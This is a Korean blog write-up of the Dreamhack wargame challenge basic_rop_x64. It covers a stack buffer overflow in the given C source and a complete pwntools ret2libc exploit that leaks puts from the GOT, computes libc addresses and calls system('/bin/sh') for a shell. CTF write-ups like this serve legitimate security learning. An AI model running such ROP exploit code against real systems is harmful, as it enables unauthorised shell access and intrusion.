워게임

[시스템 해킹] basic_rop_x64 write-up

sewoo-jjang 2026. 2. 12. 18:31

https://dreamhack.io/wargame/challenges/29

 

로그인 | Dreamhack

페르소나 굿즈 이벤트 기간 한정 구독 혜택 지금 가입하면 연간 플랜을 최대 75% 할인 된 가격으로!

dreamhack.io

 

0. 보호기법 확인

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

1. 소스코드 확인

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x400);
    write(1, buf, sizeof(buf));

    return 0;
}
  • read 함수로 buf 크기 이상을 입력할 수 있음으로 이를 이용하여 bof
  • ROP gadget을 이용하여 system('/bin/sh')를 이용하면 해결할 수 있을것이라 추측된다.

2. exploit 시나리오

  1. 64bit 환경에서는 rdi가 첫번쨰 인자로 사용되기에 ROPgadget --binary basic_rop_x64 명령어를 사용하여 pop rdi; ret; 가젯의 주소를 구함
  2. pwntools의 기능을 이용하여 libc 에 있는 함수의 GOT 주소를 rdi에 넣음
  3. pwntools의 기능을 이용하여 puts()함수의 plt 주소를 호출하여 rdi에 들어있던 GOT 주소를 leak
  4. main함수의 주소로 이동하여 다시한번 main 함수 진행
  5. leak한 GOT 주소로 libc base 주소를 구한 뒤 그 주소에 system함수의 offset을 더하여 system 함수 주소 획득
  6. 다시한번 ROP gadget을 사용하여 libc에 있는 /bin/sh 주소를 rdi에 적재
  7. system 함수를 호출하여 system('/bin/sh')를 실행

왼쪽 그림: 1~4 번, 오른쪽 그림: 5~7번

3. 주소 구하기

  • pop rdi; ret 가젯의 주소와 ret 가젯의 주소를 구함

  • 다음과 같이 puts@plt와 got 주소를 구할 수 있지만, 풀이에서는 pwntools의 기능을 이용하여 사용하도록 할 것임

4. payload 작성

from pwn import *

p = remote('localhost',10001) # -> docker build -t basic_rop . -> docker run it -p 10001:10001 basic_rop
e = ELF("./basic_rop_x64")
libc = ELF("./libc.so.6")

puts_got = e.got['puts']
puts_plt = e.plt['puts']

rdi_addr = 0x400883
ret_addr = 0x4005a9

pay1 = b'a'*0x40
pay1 += b'b'*0x8
pay1 += p64(rdi_addr)
pay1 += p64(puts_got)  # puts의 got 주소를 rdi에 저장
pay1 += p64(puts_plt)  # puts를 호출하여 rdi에 있는 값을 인지로 받아와 puts@got 주소 leak
pay1 += p64(e.sym['main'])  # main함수로 되돌아가기

p.sendline(pay1)

p.recvuntil(b'a'*0x40)  
puts_libc = u64(p.recvn(6) + b'\x00'*2) # 0x7f1b75f5ced0 임으로 6byte이기에 layout을 맞추기 위해 \x00두개 추가

print(hex(puts_libc))

libc_base = puts_libc - libc.sym['puts']
system_libc = libc_base + libc.sym['system']
binsh_libc = libc_base + next(libc.search(b'/bin/sh'))

print(hex(libc_base))
print(hex(system_libc))
print(hex(binsh_libc))

pay2 = b'a'*0x40
pay2 += b'b'*0x8
pay2 += p64(rdi_addr)
pay2 += p64(binsh_libc)
pay2 += p64(ret_addr)
pay2 += p64(system_libc)

p.sendline(pay2)

p.interactive()
  • 다음 문제는 주어진 libc 파일을 이용해야하기에 주어진 도커 파일을 빌드하여 실행해야 함.
  • 드림핵에서 서버를 실행했다면 도커는 필요 없음
  • pay2 에서 ret가젯을 넣어주는 이유는 16bit offset을 맞추기 위함

5. 출력